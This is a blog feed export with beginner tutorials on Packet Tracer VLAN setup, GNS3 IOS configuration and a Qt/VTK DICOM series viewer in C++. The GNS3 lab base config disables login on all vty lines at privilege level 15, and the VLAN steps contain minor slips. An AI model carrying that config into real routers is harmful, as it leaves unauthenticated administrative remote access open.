tag:blogger.com,1999:blog-59213654352490558892024-02-26T14:02:48.764+07:00The hxr PortalAgung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.comBlogger29125tag:blogger.com,1999:blog-5921365435249055889.post-81922256069940550872013-03-16T16:18:00.004+07:002013-03-16T16:38:21.211+07:00[Cisco + Packet Tracer] Building a VLAN Network Using Switch in Packet Tracer1. Open the Packet Tracer<br />
2. Add a switch and four end devices (PC) to the workspace.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZNbiskkjM3J2o3E55HZZptmI7zq6RPPpsNSUU61sO8pmneTfCD0C9OwA2LHdrF49H5lumHxLnmgeDx5diHb701f_xvKkpWRw_mC3UPUOHzwOoBJ9FzRluqccROoISpo3WKb0dz_yMc_o/s1600/PacketT-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjZNbiskkjM3J2o3E55HZZptmI7zq6RPPpsNSUU61sO8pmneTfCD0C9OwA2LHdrF49H5lumHxLnmgeDx5diHb701f_xvKkpWRw_mC3UPUOHzwOoBJ9FzRluqccROoISpo3WKb0dz_yMc_o/s320/PacketT-1.png" width="320" /></a></div>
<br />
3. Link the router to each PC with copper straight-trough cable.<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOqzFg7QpVYd7qAdaxDY3pnmzMwmL-BGBoSyZgeYlSvZDNsLKA8pjsOQ1JmtOLQpuc9M9lIopXkmDzMlbH5FxR-wKL4rgfohTldZgC9A20OxtM20ybNg4zeSZm2J2aqa_w1W1prFd1Kvs/s1600/PacketT-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOqzFg7QpVYd7qAdaxDY3pnmzMwmL-BGBoSyZgeYlSvZDNsLKA8pjsOQ1JmtOLQpuc9M9lIopXkmDzMlbH5FxR-wKL4rgfohTldZgC9A20OxtM20ybNg4zeSZm2J2aqa_w1W1prFd1Kvs/s320/PacketT-2.png" width="320" /></a></div>
<br />
<a name='more'></a><br /><br />
4. Click the switch, then a window will open. Go to CLI tab.<br />
5. if you are not in the priviledge mode (switch#), type "enable"<br />
6. Configure the VLAN:<br />
<span style="font-family: Courier New, Courier, monospace;">switch#configure terminal</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Enter configuration commands, one per line. End with CNTL/Z.</span><br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config)#vlan 10</span><br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config-vlan)#name BOSS //your desired VLAN name</span><br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config-vlan)#exit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config)#vlan 20</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config-vlan)#name MARKETING //your desired VLAN name</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config-vlan)#exit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">(press ctrl-z)</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config)#interface f0/1 //you can shorten the command to int f0/1, f0/1 is the port where the PC is connected to.</span><br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config-if)#switchport access vlan 10</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config-if)#exit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config)#interface f0/2</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config-if)#switchport access vlan 10</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config-if)#exit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config)#interface f0/3</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config-if)#switchport access vlan 20</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config-if)#exit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config)#interface f0/4</span><br />
<br />
<span style="font-family: Courier New, Courier, monospace;">Switch(config-if)#switchport access vlan 20</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">Switch(config-if)#exit</span><br />
<span style="font-family: 'Courier New', Courier, monospace;">(press ctrl-z)</span><br />
<div>
<span style="font-family: 'Courier New', Courier, monospace;">Switch#</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">7. Set the IP address for each PC, for example:</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">PC 1 VLAN 10 = 10.10.10.1</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">PC 2 VLAN 10 = 10.10.10.2</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">PC 3 VLAN 20 = 20.20.20.1</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">PC 4 VLAN 20 = 20.20.20.2</span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;"><br /></span></div>
<div>
<span style="font-family: 'Courier New', Courier, monospace;">8. Check if the connections are working, ping the PC with the same VLAN ID, it should work. Remember that different VLAN can't communicate. If you want each VLAN ID can communicate with each other than add a router (covered in my next tutorial).</span></div>
<br />
<br />
<br />Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-6426667960976928132013-03-16T14:58:00.000+07:002013-03-16T14:58:07.564+07:00[Cisco + GNS3] Configuring IOS in GNS31. Open the GNS3 Simulator<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jCZNEUAYv27yMn7eKxX-Iocjqmsp7sgG4lVNzUkP3e-2mEDeenwhvrLSxMDy6h0DhYXOtrh4PVC5QEF9vWkhQhr0s0XMGQy9Unh-J_8oZxKgAMctjZLIIutztoG4XyDlgCgFs3C1_64/s1600/GNS3-1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9jCZNEUAYv27yMn7eKxX-Iocjqmsp7sgG4lVNzUkP3e-2mEDeenwhvrLSxMDy6h0DhYXOtrh4PVC5QEF9vWkhQhr0s0XMGQy9Unh-J_8oZxKgAMctjZLIIutztoG4XyDlgCgFs3C1_64/s320/GNS3-1.png" width="320" /></a></div>
<br />
2. Select Edit->IOS images and hypervisors, a new window appears<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZr1D1ytm-fQxuXLW58gW6mwmaiOTVHbX1Hs1zxaxethfseJYr3tD5raA0_u7Qa-NgocavqKObtWReuYun6L9os5rlr1JXAuBJpy8gY4iWiZRx6o3n4FjukMbRM8Iw9OphgcPhIySTvU/s1600/GNS3-2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOZr1D1ytm-fQxuXLW58gW6mwmaiOTVHbX1Hs1zxaxethfseJYr3tD5raA0_u7Qa-NgocavqKObtWReuYun6L9os5rlr1JXAuBJpy8gY4iWiZRx6o3n4FjukMbRM8Iw9OphgcPhIySTvU/s320/GNS3-2.png" width="320" /></a></div>
<br />
<br />
3. Under the Settings in IOS images tab, in "Image file", input the IOS image for your router, it should be a .bin file. I can't provide any of those images but you can search Google for "cisco IOS images".<br />
<br />
<a name='more'></a><br /><br />
4. Create a new file called "baseconfig.txt", insert this script in it:<br />
<pre><!--StartFragment-->!</pre>
<pre>hostname<span style="color: silver;"> </span>%h</pre>
<pre>no<span style="color: silver;"> </span>ip<span style="color: silver;"> </span>domain-lookup</pre>
<pre>line<span style="color: silver;"> </span>con<span style="color: silver;"> </span>0</pre>
<pre>exec-timeout<span style="color: silver;"> </span>0<span style="color: silver;"> </span>0</pre>
<pre>logging<span style="color: silver;"> </span>synchronous</pre>
<pre>!<span style="color: silver;"> </span>and<span style="color: silver;"> </span>if<span style="color: silver;"> </span>you<span style="color: silver;"> </span>never<span style="color: silver;"> </span>want<span style="color: silver;"> </span>to<span style="color: silver;"> </span>have<span style="color: silver;"> </span>to<span style="color: silver;"> </span>type<span style="color: silver;"> </span>"enable"<span style="color: silver;"> </span>again,<span style="color: silver;"> </span>add:</pre>
<pre>privilege<span style="color: silver;"> </span>level<span style="color: silver;"> </span>15</pre>
<pre>
</pre>
<pre>!<span style="color: silver;"> </span>And<span style="color: silver;"> </span>I<span style="color: silver;"> </span>also<span style="color: silver;"> </span>like<span style="color: silver;"> </span>to<span style="color: silver;"> </span>add:</pre>
<pre>service<span style="color: silver;"> </span>timestamps<span style="color: silver;"> </span>debug<span style="color: silver;"> </span>datetime<span style="color: silver;"> </span>msec</pre>
<pre>alias<span style="color: silver;"> </span>configure<span style="color: silver;"> </span>show<span style="color: silver;"> </span>do<span style="color: silver;"> </span>show</pre>
<pre>alias<span style="color: silver;"> </span>interface<span style="color: silver;"> </span>show<span style="color: silver;"> </span>do<span style="color: silver;"> </span>show</pre>
<pre>line<span style="color: silver;"> </span>vty<span style="color: silver;"> </span>0<span style="color: silver;"> </span>15</pre>
<pre>no<span style="color: silver;"> </span>login</pre>
<pre>exec-timeout<span style="color: silver;"> </span>0<span style="color: silver;"> </span>0</pre>
<pre>logging<span style="color: silver;"> </span>synchronous</pre>
<pre>privilege<span style="color: silver;"> </span>level<span style="color: silver;"> </span>15<!--EndFragment--></pre>
<pre>
</pre>
<pre>5. Select path to baseconfig.txt which we have created before, in the "Base config".</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCDnt3GZ52whKmtQ6iVufNjDrI3-l_Gstet_jPpfc-5byyNCOQ72jA6wY13gWaiMHL2ls0Tf7Ip2IG6iA0QSXsgMNzMQ2IdIknOBb01YibB-zI1U1umpIHH9ylDifNkbzB2_xl-xkvRPQ/s1600/GNS3-3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="230" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCDnt3GZ52whKmtQ6iVufNjDrI3-l_Gstet_jPpfc-5byyNCOQ72jA6wY13gWaiMHL2ls0Tf7Ip2IG6iA0QSXsgMNzMQ2IdIknOBb01YibB-zI1U1umpIHH9ylDifNkbzB2_xl-xkvRPQ/s320/GNS3-3.png" width="320" /></a></div>
<pre>6. Platform,model, and default ram will be inserted automatically by GNS3.</pre>
<pre>7. If you have finished the configuration, save it. Close.</pre>
<pre>8. Go to Edit->Preferences, check whether all configuration is correct. </pre>
<pre>9. Go to the Qemu tab, click the Test button. </pre>
<pre><ol>
<li>If you get an error "qemuwrapper path doesn't exist". Just search for qemuwrapper.py in your system in linux it would be /usr/share/doc/gns3/qemuwrapper.py. Set the configuration to the correct path to qemuwrapper.py.</li>
<li>If you get an error "failed to start qemu", then install qemu (sudo apt-get install qemu), then set the "path to qemu" and "path to qemu-img" to the corect path where the qemu is installed.</li>
</ol>
</pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-y6SIbh7PNh9CydDHRY6S_CJnGOq08IKhUyxzXnlN5XCYV6w8t1e10By4I8S2oF717xv4NR4_ZKgDYulFYqGxjaPTur9cfgwj7xSDaLdAoewTtszuMcC8lJO5ZPHN2G5WXYlzzHnHck/s1600/GNS3-4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="302" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiV-y6SIbh7PNh9CydDHRY6S_CJnGOq08IKhUyxzXnlN5XCYV6w8t1e10By4I8S2oF717xv4NR4_ZKgDYulFYqGxjaPTur9cfgwj7xSDaLdAoewTtszuMcC8lJO5ZPHN2G5WXYlzzHnHck/s320/GNS3-4.png" width="320" /></a></div>
<pre>
</pre>
<pre>10. Go to the "Qemu host" tab, if you don't want to use any qemu or virtualbox guest images, just <a href="http://sourceforge.net/projects/vpcs/?source=dlp">download and use the VPCS image</a> for a lightweight OS just for GNS3. </pre>
<pre>
</pre>
<pre>11. Done.</pre>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-72080889977287788752013-03-11T11:49:00.000+07:002013-03-20T08:00:11.631+07:00[QT + VTK] Displaying DICOM Series Using VTK Widget and Sliderbar in QtThis tutorial is a continuation from my previous post about <a href="http://hxr99.blogspot.com/2013/03/qt-vtk-displaying-single-dicom-file.html">displaying a single DICOM file</a>. To install the VTK library, you should see <a href="http://hxr99.blogspot.com/2013/03/qt-vtk-install-vtk-with-qt-integration.html">tutorial how to install VTK library using CMAKE</a>.<br />
1. Create a new "Qt GUI Application" Project in Qt<br />
2. Open the .pro file, add the following items in it:<br />
<pre><span style="color: purple;">LIBS</span><span style="color: silver;"> </span>+=<span style="color: silver;"> </span>-L/usr/local/lib/vtk-5.10 #folder to your VTK library</pre>
<pre></pre>
<pre><span style="color: purple;">LIBS</span><span style="color: silver;"> </span>+=<span style="color: silver;"> </span>-lvtkCommon<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkRendering<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkVolumeRendering<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lQVTK<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkIO<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkFiltering<span style="color: silver;"> </span>\</pre>
<pre><span style="color: silver;"> </span>-lvtkgdcm</pre>
<pre><span style="color: purple;">INCLUDEPATH</span><span style="color: silver;"> </span>+=<span style="color: silver;"> </span>/usr/local/<span style="color: olive;">include</span>/vtk-5.10 #folder to your VTK include files</pre>
<pre><a name='more'></a><pre><span style="font-family: 'Times New Roman'; white-space: normal;">3. Open the ui designer in Qt Creator (just double click the .ui file)</span></pre>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">4. Add a button, a slider and a QWidget, right click on QWidget choose "promote to...".</span></pre>
<div class="separator" style="clear: both; font-family: 'Times New Roman'; text-align: center; white-space: normal;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikxJTJNlVy4iZbsBw8IVwTRtgUGyZYUI4PSuWaJ60woep-st_hdz815GqQC497qXG_zxxaLLjWLQe_TKZgt8dMUprHLwFIF7Vq6j0bT8f8tP8VE4aMNujAuLvHZJBbEByt1GDpSBMD2-M/s1600/singleDCMUI2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="171" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikxJTJNlVy4iZbsBw8IVwTRtgUGyZYUI4PSuWaJ60woep-st_hdz815GqQC497qXG_zxxaLLjWLQe_TKZgt8dMUprHLwFIF7Vq6j0bT8f8tP8VE4aMNujAuLvHZJBbEByt1GDpSBMD2-M/s320/singleDCMUI2.png" width="320" /></a></div>
<pre><span style="font-family: 'Times New Roman'; white-space: normal;">5. A new window appears, in the "Promoted class name" text box insert "QVTKWidget" and in the Header file section, input "QVTKWidget.h" (case-sensitive). Don't mess with the picture below, in my picture the Base class name is QPushButton, but it should appears as QWidget.</span></pre>
<div class="separator" style="clear: both; font-family: 'Times New Roman'; text-align: center; white-space: normal;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoTo0nltA2cY_FamGKsPh7LU0eg0dTGryUI9OOSj-NdNsIRqZ0iLi-H6N849EAXOUumudSOoLEIDNZSkXrcAvbbXA5ZZGjMqk37Ebqb07RVxbencUaNShpkOeMMPWPHVnU2v0FEFFdZk/s1600/singleDCMUI1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="314" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikoTo0nltA2cY_FamGKsPh7LU0eg0dTGryUI9OOSj-NdNsIRqZ0iLi-H6N849EAXOUumudSOoLEIDNZSkXrcAvbbXA5ZZGjMqk37Ebqb07RVxbencUaNShpkOeMMPWPHVnU2v0FEFFdZk/s320/singleDCMUI1.png" width="320" /></a></div>
<div class="separator" style="clear: both; font-family: 'Times New Roman'; text-align: center; white-space: normal;">
</div>
<div class="separator" style="clear: both; font-family: 'Times New Roman'; text-align: left; white-space: normal;">
6. Add the following source code to your project:</div>
<div class="separator" style="clear: both; font-family: 'Times New Roman'; text-align: left; white-space: normal;">
mainwindow.h: </div>
<div class="separator" style="clear: both; font-family: 'Times New Roman'; text-align: left; white-space: normal;">
</div>
<pre><!--StartFragment--><span style="color: navy;">#ifndef</span><span style="color: silver;"> </span>MAINWINDOW_H</pre>
<pre><span style="color: navy;">#define</span><span style="color: silver;"> </span>MAINWINDOW_H</pre>
<pre></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QMainWindow></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkSmartPointer.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkPolyDataMapper.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkActor.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderer.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderWindow.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkDICOMImageReader.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkImageViewer2.h></span></pre>
<pre><span style="color: olive;">namespace</span><span style="color: silver;"> </span><span style="color: purple;">Ui</span><span style="color: silver;"> </span>{</pre>
<pre><span style="color: olive;">class</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>;</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">class</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span><span style="color: silver;"> </span>:<span style="color: silver;"> </span><span style="color: olive;">public</span><span style="color: silver;"> </span><span style="color: purple;">QMainWindow</span></pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: navy;">Q_OBJECT</span></pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: olive;">public</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">explicit</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>(<span style="color: purple;">QWidget</span><span style="color: silver;"> </span>*parent<span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: navy;">0</span>);</pre>
<pre><span style="color: silver;"> </span>~<span style="font-style: italic;">MainWindow</span>();</pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: olive;">private</span><span style="color: silver;"> </span><span style="color: olive;">slots</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>openDCMFolder();</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>drawDCMSeries(<span style="color: purple;">std</span>::<span style="color: purple;">string</span><span style="color: silver;"> </span>folderDCM);</pre>
<pre></pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>on_btnOpenDCMFolder_clicked();</pre>
<pre></pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">void</span><span style="color: silver;"> </span>on_hSliderDCM_sliderMoved(<span style="color: olive;">int</span><span style="color: silver;"> </span>position);</pre>
<pre></pre>
<pre><span style="color: olive;">private</span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">Ui</span>::<span style="color: purple;">MainWindow</span><span style="color: silver;"> </span>*<span style="color: maroon;">ui</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkDICOMImageReader</span>><span style="color: silver;"> </span><span style="color: maroon;">readerDCMSeries</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkImageViewer2</span>><span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">int</span><span style="color: silver;"> </span><span style="color: maroon;">mMinSliderX</span>;</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">int</span><span style="color: silver;"> </span><span style="color: maroon;">mMaxSliderX</span>;</pre>
<pre>};</pre>
<pre></pre>
<pre><span style="color: navy;">#endif</span><span style="color: silver;"> </span><span style="color: green;">// MAINWINDOW_H</span></pre>
<pre><!--EndFragment--></pre>
<pre>main.cpp:</pre>
<pre><pre><!--StartFragment--><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"mainwindow.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QApplication></span></pre>
<pre></pre>
<pre><span style="color: olive;">int</span><span style="color: silver;"> </span>main(<span style="color: olive;">int</span><span style="color: silver;"> </span>argc,<span style="color: silver;"> </span><span style="color: olive;">char</span><span style="color: silver;"> </span>*argv[])</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QApplication</span><span style="color: silver;"> </span>a(argc,<span style="color: silver;"> </span>argv);</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span><span style="color: silver;"> </span>w;</pre>
<pre><span style="color: silver;"> </span>w.show();</pre>
<pre><span style="color: silver;"> </span></pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">return</span><span style="color: silver;"> </span>a.exec();</pre>
<pre>}</pre>
<pre>mainwindow.cpp:<!--EndFragment--></pre>
<pre><pre><!--StartFragment--><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"mainwindow.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;">"ui_mainwindow.h"</span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkSmartPointer.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkObjectFactory.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderWindow.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderWindowInteractor.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkRenderer.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkActor.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkImageViewer2.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkDICOMImageReader.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkInteractorStyleImage.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkActor2D.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkTextProperty.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><vtkTextMapper.h></span></pre>
<pre><span style="color: navy;">#include</span><span style="color: silver;"> </span><span style="color: green;"><QFileDialog></span></pre>
<pre><span style="color: purple;">MainWindow</span>::<span style="color: purple;">MainWindow</span>(<span style="color: purple;">QWidget</span><span style="color: silver;"> </span>*parent)<span style="color: silver;"> </span>:</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QMainWindow</span>(parent),</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>(<span style="color: olive;">new</span><span style="color: silver;"> </span><span style="color: purple;">Ui</span>::<span style="color: purple;">MainWindow</span>)</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>->setupUi(<span style="color: olive;">this</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">readerDCMSeries</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkDICOMImageReader</span>>::New();</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">vtkSmartPointer</span><<span style="color: purple;">vtkImageViewer2</span>>::New();</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: purple;">MainWindow</span>::~<span style="font-style: italic;">MainWindow</span>()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: olive;">delete</span><span style="color: silver;"> </span><span style="color: maroon;">ui</span>;</pre>
<pre>}</pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::openDCMFolder()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">QString</span><span style="color: silver;"> </span>folderNameDCM<span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: purple;">QFileDialog</span>::getExistingDirectory(<span style="color: olive;">this</span>,tr(<span style="color: green;">"Open DCM Folder"</span>),<span style="color: purple;">QDir</span>::currentPath(),<span style="color: purple;">QFileDialog</span>::<span style="color: purple;">ShowDirsOnly</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: purple;">std</span>::<span style="color: purple;">string</span><span style="color: silver;"> </span>stdstrFolderNameDCM<span style="color: silver;"> </span>=<span style="color: silver;"> </span>folderNameDCM.toUtf8().constData();</pre>
<pre><span style="color: silver;"> </span>drawDCMSeries(stdstrFolderNameDCM);</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::drawDCMSeries(<span style="color: purple;">std</span>::<span style="color: purple;">string</span><span style="color: silver;"> </span>folderDCM)</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">readerDCMSeries</span>->SetDirectoryName(folderDCM.c_str());</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">readerDCMSeries</span>-><span style="font-style: italic;">Update</span>();</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>-><span style="font-style: italic;">SetInputConnection</span>(<span style="color: maroon;">readerDCMSeries</span>->GetOutputPort());</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">mMinSliderX</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>-><span style="font-style: italic;">GetSliceMin</span>();</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">mMaxSliderX</span><span style="color: silver;"> </span>=<span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>-><span style="font-style: italic;">GetSliceMax</span>();</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>-><span style="color: maroon;">hSliderDCM</span>->setMinimum(<span style="color: maroon;">mMinSliderX</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">ui</span>-><span style="color: maroon;">hSliderDCM</span>->setMaximum(<span style="color: maroon;">mMaxSliderX</span>);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>-><span style="font-style: italic;">SetRenderWindow</span>(<span style="color: maroon;">ui</span>-><span style="color: maroon;">vtkRenderer</span>-><span style="font-style: italic;">GetRenderWindow</span>());</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::on_btnOpenDCMFolder_clicked()</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span>openDCMFolder();</pre>
<pre>}</pre>
<pre></pre>
<pre><span style="color: olive;">void</span><span style="color: silver;"> </span><span style="color: purple;">MainWindow</span>::on_hSliderDCM_sliderMoved(<span style="color: olive;">int</span><span style="color: silver;"> </span>position)</pre>
<pre>{</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>-><span style="font-style: italic;">SetSlice</span>(position);</pre>
<pre><span style="color: silver;"> </span><span style="color: maroon;">imageViewerDCMSeriesX</span>-><span style="font-style: italic;">Render</span>();</pre>
<pre>}</pre>
<pre><!--EndFragment--></pre>
<pre>DOWNLOAD THE COMPLETE SOURCE CODE : <a href="http://www.mediafire.com/?g34ehnlba6x766p">QtDCMSeriesDisplay.zip</a></pre>
</pre>
</pre>
</pre>
Agung Mega Iswarahttp://www.blogger.com/profile/11781550668334702413noreply@blogger.com0tag:blogger.com,1999:blog-5921365435249055889.post-90246537615390335712013-03-11T11:11:00.001+07:002013-03-20T08:20:38.213+07:00[Qt + VTK] Displaying Single DICOM File Using VTK Widget in QtTo install the VTK library, you should see <a href="http://hxr99.blogspot.com/2013/03/qt-vtk-install-vtk-with-qt-integration.html">tutorial how to install VTK library using CMAKE</a>.<br />
Read <a href="http://hxr99.blogspot.com/2013/03/qt-vtk-displaying-dicom-series-using.html">this post</a> if you want to read a series of DICOM files using sliderbar.<br />
